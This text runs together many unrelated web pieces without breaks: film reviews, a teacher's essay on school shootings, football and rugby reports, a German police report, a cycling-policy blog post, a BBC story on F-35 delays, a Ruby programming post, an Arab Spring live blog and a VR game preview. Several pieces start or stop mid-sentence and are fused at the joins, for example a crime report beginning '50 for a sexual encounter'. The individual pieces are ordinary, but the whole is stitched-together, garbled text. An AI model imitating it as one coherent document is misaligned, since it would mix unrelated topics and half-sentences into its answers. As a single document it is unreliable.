A Bag of Hammers -- A Bag Of Hammers presents an odd conundrum. It's one of those films that I liked overall, but it's glaring dichotomies never quite gelled, creating a rift through the film's core that was difficult to reconcile. It's whimsy is a bit too whimsical given its eventual emotional downturn. The third act feels rushed and the ending(s) are a little tiresome after a while. And yet... it's so affecting, and its cast is so engaging, that I couldn't help but find myself won over by it. -- TK
I Saw the Devil -- In Kim Ji-Woon's I Saw The Devil, revenge isn't just a dish best served cold. It's served cold, reheated in the microwave, picked at, reheated again, then thrown in the garbage and fed to dogs. It's an unbelievably brutal revenge flick. A secret service agent's wife-to-be is murdered by a serial killer, and the agent goes fucking insane. He tracks down the suspect, figures out who it is, and then inserts a tracking device into his stomach. And then he proceeds to hunt the maniac down every time he considers satiating his maniac lust and brutally beats and wounds him. It's a "look long into the abyss" film, where the hero becomes the monster and the result is two remarkable performances by the leads Byung-hun Lee and Min-sik Choi. The violence is unsettling and gruesome, justifiable only barely because the villain is such a fucking monster we want to see him punished. This is not a film for the squeamish, and there will be some who want to flout this as "torture-porn," if only because the torturer -- and it's torture, make no qualms about that -- takes so much pleasure in spidering his fly, but that would to deny the outstanding final project. I fear for the inevitable American remake. -- Brian Prisco
Turkey Bowl (Straight to Netflix) -- |
50 for a sexual encounter.
Weir faces a maximum of 40 years in prison if convicted of all the counts against him. Bail had not been set as of Sunday evening.
It wasn't immediately clear if Weir had an attorney.
More Local Stories:Editor’s note: News of mass shootings like the Dec. 2 attack in San Bernardino, California, contribute to a heightened alert that is felt in schools across the nation, where lockdown drills are now routine and teachers are forced to take on a new role in the classroom: bodyguard.
Charlie Gaare is a high school English teacher in Denver. Gaare’s school went into lockdown this week after reports of an armed person near campus. Police searched the school for weapons, prompting Gaare to write down her thoughts on how gun violence has affected her life as a teacher.
Here’s the thing they don’t teach you when you’re going to school to be a teacher. There will be days where you have to think about how you are going to fit three adult-sized children into a glass cupboard and cover yourself with desks in order to protect the four of you. They don’t tell you that there’s going to be days where you are going to have a SWAT team member come in and put a gun in your face. They don’t tell you in 12 years time there will be more school shootings than you can remember or maybe even count. They don’t tell you that you are going to worry consistently about the day where it’s not going to be just a false alarm. They don’t tell you that you will eventually hate guns more than almost anything else. They don’t tell you that in equal measure, you will worry about how to protect kids at the expense of your own life, and worry about protecting kids from themselves.
READ MORE: Opinion: A student’s obituary should never say ‘gunned down while studying for chemistry’
Here’s the thing. Across America thousands upon thousands of teachers will go to school, and they will be the kind of people who on a bad day will throw themselves in front of our children to protect them. Never in all of the school shootings have we heard about a teacher who ran or fled from a shooter in order to protect themselves.
I would like to know how many other people go to work and have to think about the moment that they are going to have to lay their body down in front of other people’s children to make sure they are safe?
Every time incidents of school-related violence occur, my colleagues and I think of the numerous ways we might one day have to use our bodies as barricades to protect the students whom we love dearly from potential other students whom we also love so dearly.
Our world has gorged itself on violence, and we are sitting back and watching it get sick with it. Our culture is so hell-bent on being worried about a man having the right to an item intended to kill than they are about actually upholding the protection they claim guns give them. And every single one of your children’s teachers shows up every day and is ready to try and prevent, even just a little bit, the decay that continues to eat away at us, to take a bullet from the monster we have made.
This may all come across as self-righteous and indignant, but I would like to know how many other people go to work and have to think about the moment that they are going to have to lay their body down in front of other people’s children to make sure they are safe? How many other people have to think about escape routes and safety spots and whether a school desk would protect them from a bullet?
Teachers are not police officers or firemen or members of the military who are trained to deal with dangerous situations like this. We are people who are trained how to get people to think, so that is what I am doing. I’m not going anywhere anytime soon because I will always love my kids enough to want to be the one between them and a bullet, but this also wasn’t in the job description.QPR will open discussions with Tjaronn Chery’s representatives next week over a potential new contract for the Dutchman.
Rangers believe Chery, who scored 10 goals last season and has netted four times already this term, will attract Premier League interest during the January transfer window.
He is determined to establish himself in the top flight and moved to Loftus Road from FC Groningen last year on the understanding it would ultimately help him achieve his aim.
Given that, and the fact he will be 29 next summer when he would be entering his final year of his current contract, Rangers might struggle to persuade him to commit his long-term future to the club.
Chery, however, has indicated that he would be open to the idea of signing an improved deal.
If he does not, QPR would be faced with a tough decision if offers are made for a player who could eventually leave on a Bosman free transfer if he sees out his contract.
Rangers have long been planning to try to avert that possibility by initiating talks after this summer’s transfer window.
And they will set the ball rolling in the next few days.
Earlier this year they rejected an approach from Maccabi Tel Aviv, insisting they wanted to keep him despite Chery not being a first-team regular at the time.Try blitz: Rieko Ioane powers through the Australian defence to score out wide. Credit:AAP When Australia trailed 40-6 at the break, there was little new skipper Michael Hooper could have said to his distraught troops in what has to be one of the most brutal introductions to full-time Wallabies captaincy. At one stage the Wallabies were trailing 54-6 after 48 minutes and staring down the barrel of their worst defeat but four tries in 17 minutes – from Curtis Rona, Tevita Kuridrani, Kurtley Beale and Israel Folau – saved them plenty of embarrassment. For context, the Wallabies missed a staggering 40 per cent (37 from 94) of all tackles in the first half and there will be immense pressure on defence coach Nathan Grey given what the Waratahs dished up this year too. By the end of 80 minutes, Australia had missed 48 tackles, which is just not good enough at international level.
Consolation: Kurtley Beale scores on his return to the Australian team. Credit:AAP In last year's bloodbath against New Zealand in Sydney, the full-time margin was 34 points. On Saturday, the All Blacks led by that buffer at half-time. New Zealand piled on an incredible six tries in the first half, which was more than they scored in the entire series against the British and Irish Lions. Through the gap: Sonny Bill Williams steps through the tackle of Sean McMahon. Credit:AAP And when the All Blacks chalked up their eighth try in the 48th minute, thanks to a sensational pass back inside to Ben Smith from Aaron Smith, it marked the most points they had ever scored against Australia, from 182 matches.
Cheika may have boasted the Wallabies were fit and raring to go but they sure as anything didn't do enough work on their defensive structures in an abysmal effort. Mr Reliable: Ryan Crotty joins the party at ANZ Stadium. Credit:AAP Meanwhile, after one of the most tumultuous weeks for New Zealand rugby in recent memory, the All Blacks were able to push to one side the off-field scandals and execute a game plan that completely blew the Wallabies off the park. Halfback Aaron Smith, whose "toilet tryst" last year resurfaced during the week as did fresh allegations of affairs with other women, had a brilliant game and was clearly unperturbed by what had transpired in recent days. Coach Steve Hansen's mind, however, would have been in two places hours before kick-off after it emerged New Zealand's team manager Darren Shand told police he believed Cheika was responsible for bugging the team's hotel last year.
The All Blacks, however, were more than able to separate on-field from off-field but will be annoyed they did not completely put Australia to the sword in the second half. To the surprise of many, it was the Wallabies who got on the scoresheet first thanks to a penalty after four minutes to Bernard Foley on the back of some excellent attacking bursts in the All Blacks' 22. But like they do so often, the All Blacks capitalised on a mistake from their opposition. Allan Alaalatoa knocked the ball on and shortly afterwards New Zealand were able to get auspicious front-foot ball before Liam Squire, Jerome Kaino's replacement, scored down the left edge. A Wallabies penalty brought the margin back to one point but that's about as good as it got for Cheika's men before a poor defensive read from Folau on the right edge saw Rieko Ioane put the visitors ahead 12-6.
The All Blacks, through Ioane and Ryan Crotty, then scored two tries in four minutes to put their tally at 26 points in as many minutes to silence a crowd of 54,846 at ANZ Stadium. Australia's defensive line looked scrambled and they were unable to adapt on the run to countless questions asked by New Zealand's backs. Rona scored a try on debut in the 52nd minute and when Kuridrani squeezed through a gap to go over the line in the 56th minute, Australia looked a completely different outfit. Attack-wise, there were things to like. Beale brought the flair we expected and scored Australia's third consecutive try when he scooped up a loose ball and ran 50 metres. LoadingBachrain
Anwohner im Bereich der Kirche Maria Hilf in Bachrain und des Kreisels zur B27 berichteten von insgesamt mehr als einem Dutzend Fahrzeugen mit Blaulicht – Polizei und Krankenwagen. Vor Ort hielten sich die Einsatzkräfte dann, was Auskünfte betrifft, bedeckt und verwiesen auf die Staatsanwaltschaft.
Ein Polizeisprecher in Fulda sprach zuvor auf Nachfrage unserer Zeitung davon, dass mindestens zwölf Personen an der Schlägerei beteiligt gewesen waren. Nach internen Streitigkeiten waren weitere Familienmitglieder aus Südhessen angereist, die sich nach dem Eintreffen handgreiflich in die Streitigkeiten einmischten.
Bewaffnet mit Dönermessern und Eisenstangen
Sieben Verletzte brachte der Rettungsdienst in mehrere Krankenhäuser. Die Verletzungen seien zum Beispiel durch Schläge mit Eisenstangen und Schnitte mit größeren Dönermessern entstanden. Lebensbedrohlich sei aber niemand verletzt worden. Ein Feuerwehrkran diente dazu, den Tatort für die Einsatzkräfte zu beleuchten.
Die Streitigkeiten wurden schließlich durch mehrere eingesetzte Funkstreifen aus Fulda, Petersberg, Hünfeld und Neuhof beendet. Von den Einsatzkräften der Polizei wurde niemand verletzt. Gemeldet worden war der Einsatz am Freitagabend um kurz nach 19 Uhr. Die Tatortaufnahme und die weiteren Ermittlungen der Kripo dauerten auch am Freitagabend noch an. / vn, sarMuch as I am loath to take issue with Martin Porter – his blog is ever-excellent on the matter of the seriousness with which road crime is treated (see especially his recent post on the inadequacy of the police attitude exhibited in the BBC’s War on Britain’s Roads programme) – I feel that some aspects of his response to the All Party Parliamentary Cycling Group’s Inquiry, ‘Get Britain Cycling’, merit a response.
Martin writes that
Segregation has a place (particularly on routes to schools) to encourage the large number of potential cyclists fearful of cycling on the roads.
I’m not sure the Dutch would recognise this description of ‘segregation’. A policy of constructing cycle tracks and paths, and minimising interactions with motor vehicles in general, is not about ‘encouraging’ the more nervous, and those who are reluctant to cycle on the roads. Dutch policy is specifically about making the cycling experience of everyone – children getting onto a bike for the first time, as well as ‘hardened’ cyclists like David Hembrow – more pleasant. In that context, cycle paths are not some kind of stop-gap compromise measure to get people onto bikes, but part of a holistic approach to prioritising cycling. It is more enjoyable and relaxing to cycle on a path away from lorries, buses and vans. This is why the Dutch build them.
Martin then argues
However segregation is no panacea and it certainly is no quick fix solution. It is often overlooked that even the Dutch do not just do segregation and that they do integration better we do.
Regarding the first two points, I don’t know of anyone who has suggested that segregation is a ‘panacea’, or indeed that is a ‘quick fix’ solution. The point about segregation, rather, is that it is specifically a necessary treatment on certain categories of roads. Currently, we have a serious problem, in that we do not segregate on roads and junctions that carry high volumes of motor traffic, or motor traffic travelling at speed (or at least, we don’t do so competently). And it is these roads and junctions that are the most significant barrier to cycling.
This is what I and many other campaigners and bloggers are so exercised about. We are not calling for cycle paths everywhere; we want them as a solution to a specific problem. Nor are we suggesting that this would be a ‘quick fix’. It is our contention that you simply cannot solve the problem of decades of stagnation in cycling levels without high-quality infrastructure that creates a high level of subjective safety; the fact that this won’t happen immediately (and why would it?) is somewhat immaterial.
When it comes to the claim the Dutch do ‘integration’ better than us, well this is certainly true too, but only because the Dutch are very careful to minimise interactions between motor vehicles and bicycles in the locations where they do indeed ‘integrate’. This is, as David Hembrow has argued, the result of a policy that aims at 100% separation. It is pleasant to cycle on roads and streets in the Netherlands where you are not physically segregated specifically because the Dutch have carefully made sure that only a small number of vehicles will ever be sharing that space with you. To repeat a point from earlier, this is about making the cycling experience of everyone more pleasant.
Next Martin writes
Potential cyclists are not fearful of the roads per se but of the badly driven motor vehicles on the roads.
I’m afraid that here Martin is confusing his own, personal experience – what makes him fearful to cycle on the roads – with the attitudes of ‘potential cyclists’. Potential cyclists do not want to cycle amongst lorries and buses, however well driven they may be. That is what they say, in survey after survey, and report after report. It is an unpleasant and intimidating experience. Indeed, this is precisely why they remain ‘potential cyclists’. Quite obviously, they have not had experience of badly driven motor vehicles while cycling, because… they are not cycling. The issue is motor traffic in general, not badly driven motor traffic.
Finally – and this is perhaps the claim I take most issue with – Martin says
Unfortunately some cycling advocates regard the calling for improved conditions for cycling on roads as heretical since it is seen to detract from their goal of segregation. [my emphasis]
Who are these people? Where are they saying this? Answers welcome.Image copyright PA Image caption In July the Red Arrows flew over HMS Queen Elizabeth to mark the official naming of the vessel by the Queen
The Royal Navy may ask US squadrons to fly off its new aircraft carrier following delays to its new F35B fighters, BBC Newsnight has learned.
MoD insiders said the US Marine Corps would be offered the use of HMS Queen Elizabeth for flight operations.
The UK plans to have its first F35 squadron operational by 2018, but Newsnight has learned that there may be further delays.
The MoD said it was not aware of any further delay to the timetable.
The plan is for one squadron of British F35s to be ready for service at sea by 2021. But even if it is achieved, it will create a gap of years where the Queen Elizabeth is ready but British squadrons are not.
For the past year defence analysts had been expecting the MoD to order 14 of the new jets.
UK pilots
In February, Newsnight was told that it would be placed "within days". But persistent doubts about the F35's enormously complex software, and an engine fire this summer caused successive delays to the decision.
When the British purchase was announced, last month, it was for just four of the planes. The MoD says that this order will allow trials to start from the Queen Elizabeth on time with "UK F35Bs, flown by UK pilots".
But the slowdown in the expected purchasing rate is bound to delay the aircraft's entry into squadron service, say defence insiders.
Former chief of the defence staff General Lord Richards told Newsnight that asking US jets to fly from the Queen Elizabeth would be a sensible way of bridging the gap between the carrier being completed, and a British squadron of jets being available.
He said: "If we can catch up using American aircraft in the intervening period that would make good sense."
Image caption Gen Lord Richards became the chief of defence staff - the head of the British armed forces - in 2010
He denied that it was humiliating for Britain not to have its own jets ready when it comes into service because the ships could be used for different functions such as carrying helicopters or troops.
However, the MoD said on Wednesday that it was "not aware" of any further delay to the timetable for the first operational squadron.
Even if the timetable is kept, senior naval officers are nervous that a gap in capability during 2018-2021, coming at a time when the defence budget will come under fresh pressure after the next general election, could damage their chances of keeping the two new carriers, which they regard as central to remaining a "first division naval power".
With a Strategic Defence and Security Review (SDSR) expected to get under way in 2015, the huge ships, which have long been the subject of controversy in Whitehall, are likely to come under fresh scrutiny.
Newsnight has been told that many decisions relating to the new ships, including such questions as their communications fit, are now being put on hold until the SDSR. Naval chiefs are therefore determined to get them to sea with a credible looking complement of aircraft on their decks, as soon as possible.
An MoD spokesman said: "The Lightning II [F-35B] Force will be manned by Royal Navy and RAF pilots and we can be clear that aircraft used for the first Class Flying Trials in 2018 will be UK F35Bs, flown by UK pilots.
"We are also working closely with our key allies, specifically the US Marine Corps and the US Navy, to regenerate our carrier strike capability and we will seek further opportunities to do so in the future."One of the features of Ruby that can cause some confusion is that just about everything is an expression. This means that nearly everything that can return a value, does. This leads to some very interesting and sometimes confusing code.
weather = if season == "Winter" "cold" else "warm" end
The previous example is contrived because you would typically write it using the ternary operator, but you get my point. Things get even more interesting when it comes to method definitions. Take a look at this method, what does it return?
def lock_door @door_state = :locked if @door_state == :closed end
It would return :locked if the door was closed, otherwise it would return nil. Is this useful? Not really. What should we do here? Always return nil regardless of if the action was taken or not? Return the final state of the door? I'd propose neither. Leave the method how it is. Bertrand Meyer's principle of Command-Query Separation states that every method should either be a command that performs an action or a query that returns data to the caller. Martin Fowler has a slightly different take on the matter. He prefers to call commands "modifiers" because they are changing the state of the object they are being called on.
To apply this principle to Ruby I like to think in term of grammar. If a method is a verb you shouldn't care what it returns. If a method is a noun or adjective, it had better not change any state.
Like most rules, they are meant to be broken. Martin mentions popping from a stack as a good example. You don't need to look any further than Rails to find some other nice caveats:
p customer. errors unless customer. valid?
The valid? is a query, yet it mutates the object by populating the errors array. I think this is a very pragmatic decision. If we were to refactor this code to follow Command-Query Separation to the letter, it would look something like this:
customer. validate p customer. errors unless customer. valid?
The problem is, you would almost never have a reason to call validate and never call valid? to see if it worked correctly. Fine choice Rails. Here is another caveat:
customer = Customer. create! :name => "Tony"
This is also a pragmatic approach because if create! did not return the object, we would have to make another round trip to the database to retrieve it.
Command-Query Separation is an important thing to keep in mind. This is doubly true when writing Ruby code because every method returns something whether you like it or not. So if you are going to break the rule, have a good reason.This month's topic is all about physics for your game! Dennis Ferron will be presenting a talk about the bullet physics engine:
Bullet is an open-source, multiplatform real time physics simulation library for games. This talk will discuss how to use the library, introduce basic concepts of the API and supported features, how to integrate it with your own engine, and a little bit about the pros and cons of using realistic physics in your game.
PL Studios (http://plstudios.com) (best known for Digital Tutors (http://digitaltutors.com)) is sponsoring our meeting space at their offices this month. GoldFire Studios (http://goldfirestudios.com/) will be sponsoring free pizza and soda. Come hungry and ready to talk game development! Also, if you are working on anything, bring it with you to show with the rest of the group, we set aside time at the end of each meeting.
PS: Don't forget that we also now have a Facebook group (https://www.facebook.com/groups/okgamedevs/) that is great for sharing with the rest of the group!A financial crisis never comes from where we expect it: IMF's Lagarde 7:17 PM ET Tue, 11 July 2017 | 01:18
The International Monetary Fund's Managing Director, Christine Lagarde, has said that she would not rule out another financial crisis in her lifetime, indicating that comments made recently by Federal Reserve Chair Janet Yellen may have been premature.
"There may, one day, be another crisis," Lagarde told CNBC Tuesday on the sidelines of a joint conference with the IMF and the Croatian National Bank in Dubrovnik.
Lagarde's comments responded to a statement made by Yellen a fortnight earlier in which she said she does not expect to see another financial crisis in her lifetime.
"I plan on having a long life and I hope she (Yellen) does, too, so I wouldn't absolutely bet on that because there are cycles that we have seen over the past decade and I wouldn't exclude that," Lagarde said.
She, however, noted the unpredictability of financial crises and said that finance ministers and policymakers should act with caution to prepare for such eventualities.11.19pm GMT: One piece of late news – Egypt's military rulers have appointed retired judge Tareq al-Bishry to head a committee set up to propose constitutional changes, according to reports on al-Jazeera and Reuters.
Bishry is said to be respected in legal circles for his independent views.
The military announced on Sunday that it was forming a committee to amend the constitution and define rules for a referendum on the changes.
10.30pm GMT: Time to wrap up tonight's live blog as the ripples from Tunisia and Egypt continue to be felt across the middle east and Maghreb in the form of protests and – in some cases – violence by the ruling authorities:
Bahrain: On the anniversary of the country's 2002 constitution, large demonstrations in a "day of rage" across the small island state saw at least 25 people injured, and one man dead after suffering severe head trauma.
The protesters want changes to the country's constitution, an elected prime minister, the release of political prisoners, and an end to the use of torture.
Iran: Events in Egypt appear to have inspired the opposition forces to reignite the protests last seen in 2009, with the police and government allies resorting to similar tactics, blocking access to opposition leaders, cutting off phone service and allowing attacks on protesters. At least one person is reported to have died.
• Yemen: The fourth day of continuing protests saw around 1,000 marchers, including lawyers in courtroom robes, on the streets of Sanaa — a quieter affair than the violence of Sunday, when Human Rights Watch said police used stun guns and batons against demonstrators and small mobs of government supports attacked protesters.
• Egypt: A meeting between military leaders and pro-democracy representatives produced details about plans for fresh elections and constitutional changes. Attempts to clear Tahrir Square of protesters were only partly successful. Former president Hosni Mubarak is reported to be ill in Sharmal-Sheik, while veteran politician Amr Moussa said he wants to run for president.
You read more detailed updates of the day's events here and here. Thanks for reading.
10.17pm GMT: Now the US government also says it has received a formal request from Egypt to freeze the assets of a group of officials in the Mubarak regime.
The state department's spokesman PJ Crowley said no request had been received regarding Hosni Mubarak himself, by a "senior U.S. administration official" told Reuters that other names had been mentioned: "We have received requests regarding other officials," he said.
Earlier, the UK, France and the EU announced they had received requests from Egypt.
10.12pm GMT: This Egyptian presidency website says it all.
10pm GMT: PBS's Tehran bureau's blog has some gripping eyewitness accounts of the protests in Tehran today:
When I reached Eskandari Street it looked like a war zone: smoke, dust, teargas, screaming people, flying stones and regular attacks by the well equipped motorcycle riding guards. A petite young girl with a green wristband and a small backpack was walking to my left. Just before we reached Navab Avenue the guards charged from behind, one of their clubs hit my left leg but three of them attacked the girl relentlessly. She screamed and fell to the ground, but the guards kept hitting her. I ran towards them, grabbed the girl's right hand and released her from the grip of the guards. She was in a daze and crying unstoppably. I pushed her north into Navab Avenue towards Tohid Square away from Azadi Avenue when the guards charged towards us. This time the crowd fought back and stones of all sizes were directed back at them. This gave me a bit of time to ask one of the restaurants to open their doors and let us in. The girl was in shock and pain. I got her some water and asked how she was. Her clothes were dusty, her backpack was torn and her hands were shaking. "Why?" she kept asking.
9.47pm GMT: Bahrain's foreign minister Khalid al-Khalifa is a regular Twitter user. Here is his latest on today's events:
One person died today. MOI opened investigation.. With Sh Rashid at its helm, I am confident truth will prevail Khalid Alkhalifa
khalidalkhalifa
Note: Khalifa follows Wael Ghonim on Twitter and is followed back by the Egyptian activist.
(In his Twitter bio Khalifa describes himself as: "Diplomat, ambassador, foreign minister of Bahrain, reader, world traveler, bon vivant".)
9.30pm GMT: Inside Iran, the Islamic Republic's News Agency has managed to avoid any mention of the protests, while the semi-official Fars news agency – which boasts links to the Revolutionary Guard hardcore – has triumphant news: "Agents of the United States and Zionism were defeated again."
According to Fars, only a few hundred "foolish" people took to the streets:
In today's illegal gathering, elements of the Mojahedin Khalgh [MKO], monarchists, thugs, and criminal of sedition were present in some streets in Tehran to support the people of Egypt and Tunis, but they did not chant a single slogan in their support. After [the protestors] realized there was not going to be popular support for them, they began running away and left the scene.
9.21pm GMT: The website insideIran.org has an interview with "Ali," billed as a student activist at Amir Kabir University in Tehran who organised a student demonstration today:
Q: How did the police treat the demonstrators? A: Some police forces were surprisingly nice, especially around Azadi Square. But other forces in other areas used brute force. I saw a man whose face was struck with something. I couldn't tell what it was, but there was blood all over him and he fell down. The government is really worried about people with cameras and this man had a camera. He was taking pictures. The government doesn't want any media coverage. There was such little information about what to do and where to go. We got all our information from the internet. And there is no information about what to do next. But I am very happy about today's turnout.
9.15pm GMT: In Iran, the authorities are using the state media to accuse opposition leaders of being part of a Western plot to overthrow the Islamic system. According to state TV:
Hypocrites, monarchists, thugs and seditionists who wanted to create public disorder in Iran were arrested by our brave nation... These people set garbage bins on fire and damaged public property.
9pm GMT: The Guardian's Saeed Kamali Dehghan reports on today's protests in Iran:
Supporters of the Green movement appeared in scattered groups in various locations in central Tehran and other big cities in what was seen as the Iranian opposition's first attempt in more than a year to hold street protests against the government. The riot police and government-sponsored plainclothes basiji militia used teargas, wielded batons and opened fire to disperse protesters who chanted "death to the dictator", a reference to both Iran's supreme leader, Ali Khamenei, and the president, Mahmoud Ahmadinejad. Witnesses told the Guardian that despite a heavy security presence, small groups of people succeeded in gathering in main squares leading to Azadi ("freedom") Square – a chosen focal point.
Because of a government ban on reporting on the protests by the international media, footage and coverage today has been sparse.
8.52pm GMT: An Iranian has been shot dead during today's protests in Tehran, with the government-aligned Fars news agency blaming opposition supporters for the shooting.
Reuters quotes Fars as claiming: "One person was shot dead and several were wounded by seditionists [opposition supporters] who staged a rally in Tehran," but without giving any further details.
8.35pm GMT: The US State Department has launched a Twitter account in Farsi, just in time for today's protests in Iran:
The account USA darFarsi now has more than 2,000 followers, not bad for one day.
8.26pm GMT: There are rumours – and let us stress, just rumours at this point – of more deaths in Bahrain following today's protests.
In the meantime the Bahraini government has acknowledged the death of protester Ali Abdulhadi al-Mushaima, with the the official Bahraini news agency, BNA, announcing the news and the minister of interior expressing his condolences.
8.17pm GMT: More from Yemen, this time from Reuters, where Mohammed Ghobari and Khaled Abdullah report:
Government loyalists armed with broken bottles, daggers and rocks chased down thousands of pro-reform demonstrators in Yemen's capital on Monday, turning unrest inspired by Egypt's uprising increasingly violent. Police who had been trying to keep the sides apart locked several thousand fleeing protesters inside the Sanaa University campus near where they had been holding their rally. Five people were wounded in the melee, an opposition source said. "Hey Ali, get out, get out!" anti-government protesters shouted, referring to President Ali Abdullah Saleh, a US ally against al-Qaida's resurgent Yemen-based wing who has been in power for over 30 years. "There is no solution except to leave."
Meanwhile, a further 12 people were injured in Taiz, with police fired warning shots into the air while anti-government demonstrators clashed with President Saleh's supporters. Even in Aden, in a region where al-Qaida is active, hundreds marched in protest.
8.09pm GMT: In Yemen, the Associated press reports of violent clashes between pro-government forces and demonstrators throughout the day in Sanaa and Taiz. AP's Ahmen al-Haj reports from Sanaa:
University students, rights activists and lawmakers marched Monday in the capital, Sanaa. Lawyers in black robes, led by their union chief, joined the demonstrators shouting slogans against the security forces and "the people want the regime to step down," a slogan mirroring those used in Egypt and Tunisia. "A revolution of free opinion... A revolution of freedom... We should decide," shouted the protesters. A counter-demonstration of at least a hundred government supporters holding up pictures of President Ali Abdullah Saleh confronted the protesters, shouting slogans against terrorism and supporting the government's call for dialogue.
The BBC says one of its journalists and his cameraman were deliberately attacked in Yemen by government supporters while reporting on the protests against President Saleh.
Abdullah Ghorab, the BBC's Arabic correspondent in Yemen, was left cut, bruised and with a bleeding nose in the incident in the capital, Sanaa. Cameraman Mohammed Omran was beaten and had his mobile phone and watch taken, the BBC said in a statement.
Ghorab's attackers pulled him towards the car of Hafez Meiyad, a Yemeni official known to be close to the president, who rebuked the reporter for tarnishing the country's reputation, the statement said.
7.58pm GMT: Spanish media are reporting that that the country's consul in Tehran, Ignacio Pérez Cambra, was detained by police for four hours during today's protests in Iran's capital. The Guardian's Giles Tremlett in Madrid writes:
Apparently the Spanish consul was detained along with an embassy chauffeur by six plain clothes police officers as he tried to leave either the consulate or the embassy in Tehran. He has been released. The report originates from Spain's EFE news agency, citing diplomatic sources.
7.41pm GMT: Even Kuwait has not been immune from the pro-democracy outbreaks. Opposition groups in the country had called for anti-government protests to take place but have now delayed the protest until March 8.
Last week the Kuwaiti government issued a stern reminder that unlicensed protests would be stamped on, in a statement:
Based on the principle that security is a collective responsibility that should be shouldered by all, the ministry would like to remind the citizens of awareness about nature of the ongoing incidents in the region. These incidents could have impacts on everybody. The security of citizens is the focus of our efforts and the guarantee for stability. Therefore, the ministry stresses that any gatherings, rallies or marches after Friday noon prayers would be deemed a breach of the public rally law. Everybody should put the interests of the homeland above all considerations.
7.33pm GMT: The Daily Telegraph sends a reporter to the resort next to Mubarak's residence in Sharm el-Sheik, for a glimpse of the former president's estate:
It is a snatched view that, coupled with the simple question 'is that Mubarak's home?' is enough for non-guests to quickly be escorted from the premises. "My staff told me you were asking questions," says the public relations manager standing in the opulent foyer that for three weeks has been nearly devoid of tourists. "Everything is well in our hotel, but now you have to leave."
7.25pm GMT: The violent response by Bahrain's security forces to today's protests may cause some of the island state's middle class to break ranks with the government.
Catastrophic failure by MOI to handle today's peaceful situation. Overreaction, paranoia, and mindless. Shameful. #Bahrain @moi_bahrain Ehsan Al-Kooheji
ehsankooheji
Here's a tweet from Ehsan al-Kooheji, a Bahraini "IT geek".
7.20pm GMT: A major development in Bahrain where there are reports that one person has been killed by security forces during a protest:
According to sources in the hospital, and confirmed by Nabeel Rajab from a Bahraini human rights organisation, Ali Abdulhadi al-Mushaima, 27, was shot in the back with live ammunition. Protesters are incensed.
Here's a link of what is said to be a photo of the dead man.
7.11pm GMT: Amr Moussa has announced that he will be run in Egypt's presidential elections scheduled for September. Ahram Online reports:
According to activist Ahmed Nassar, Moussa, Secretary General of the Arab League, stated that he will be devoting his time in the coming months to his presidential campaign as soon as he hands over his Arab League post in March. Moreover, Moussa met January 25 activists at the Arab League's headquarters yesterday where they laid out a plan for a popular campaign focusing on the principles of law, democracy and human rights.
6.56pm GMT: Hillary Clinton has sent a message of support for Iranian protesters and accused Iran's government of "hypocrisy" for praising the protests in Egypt while cracking down on dissent in its own country.
Clinton said Iran's protesters "deserve to have the same rights that they saw being played out in Egypt and are part of their own birthright," and that the US government "very clearly and directly support the aspirations of the people who are in the streets" of Tehran.
6.35pm GMT: Reuters correspondents Marwa Awad and Andrew Hammond in Cairo have posted a fuller account of the military's timetable to amend Egypt's constitution:
[Wael] Ghonim, a Google executive who was detained for two weeks during the protests, confirmed to Reuters the contents of the meeting that he published on social networking site Facebook. "A constitutional committee known for integrity, honour and not belonging to any political trends has been formed to finish constitutional amendments in the space of 10 days and and they will be put to a referendum within two months |
breath I was holding for the last 30 seconds. This is just one of many pulse-pounding moments I encountered while going hands-on with the demo of Neat Corporation‘s upcoming VR game Budget Cuts.
Have Portal Will Travel
Budget Cuts puts you in the cold metal skin of a robotic spy whose only mission is to infiltrate a corporate office after hours. The catch is that the corridors are under constant patrol by a militia of security robots and all of them are much better armed than you are.
Your sparse starting equipment consists of a bare hand for grabbing items, a portal-esque teleportation cannon and, eventually, a crossbow.
The items you pick up in the game, whether it’s a key, a crossbow, or the teleporting cannon itself, all conform to the Steam VR controller in an organic way. Rather than having the controller change into a portal gun, for example, the gun itself attaches to the end of your controller, which adds to immersion because the grip of the object never changes.
The teleporting cannon is what provides the core mechanic for this stealth-action title. By pulling the hand control’s trigger button, the cannon launches a small blue orb that flies at an arc and bounces until it finds an attachable surface. Once it lands it morphs into a portal that allows you to do one of two things. You can use that portal to look around corners or into rooms to check for guards, or you can press the controller’s grip button to instantly warp to where you placed the beacon.
Breaking The Box
The portal mechanic is flashy, fun, and useful for evading guards. But it is also a clever way for Neat Corporation to crack one of VR’s toughest puzzles: locomotion. Vive experiences put the player into a box as large as 15×15 feet, but playspaces are often smaller. That space can be explored by simply walking around, but how do you allow the player to explore a larger world?
Budget Cuts solves this problem by constraining players to a circular glowing play area that is smaller than the Vive’s max explorable distance. If you want to move across a hallway to grab a key, for example, you need to warp close enough until the item is within reach. It may sound frustrating or limiting but it feels very natural and exhilarating once you get used to it. By the end of my demo, I was reacting to threats by teleporting without even thinking about trying to run first.
This system offers the two-fold benefit of opening up a wider world of the game in a way that makes sense – and making sure the game can scale to almost any playspace a consumer might have.
Fun Times At Robot High
It took me between 25-30 minutes to beat the demo, and I certainly died my fair share of times. There are no lives in the game but death means a reset and having to backtrack through the same challenges over and over again.
This was reminiscent of old SNES games that require you to you grind through the same chunk of a level again and again just to get one more shot at the part that killed you. The game was challenging, but it never felt unfair. Every time I got caught I felt like it was because of something I did wrong.
The controls were solid as well. The only sticky part for me was trying to aim the first weapon you find in the game: a throwing knife. After missing a few times, and being gunned down for my mistake, I finally realized that because the controls were so accurately tracked, and because I was blind to the outside world, it became hard to judge my release point – making knife tosses in the relatively accurate physics system as or more difficult than they are in real life. Budget Cuts is a stealth game before anything else and it never lets you forget it.
A Heart-Racing Good Time
Budget Cuts is one of the most exciting titles I’ve personally experienced in VR. The feeling of creeping just close enough to a guard to move forward but not close enough to be seen had me feeling like a real life Solid Snake. The challenges of the game could be frustrating, but they made me want to keep trying. And the eventual payoff in the final stage had me raising my arms in elated victory.
Budget Cuts is currently in a pre-alpha build and has been nominated for Best Game at the upcoming Vision VR/AR Awards. The only release information so far is that the game will be out “soon.”
The HTC Vive is projected to launch in April with pre-orders on Feb. 29.
Tagged with: ar, Budget Cuts, htc vive, virtual reality, Vive“In 2002, your investigation ceased but my personal obsession did not.”
Fans of FOX’s “Gotham” and “Minority Report” were treated to the new “two-part” trailer for the “The X-Files” revival, set to return to FOX on January 24th, 2016.
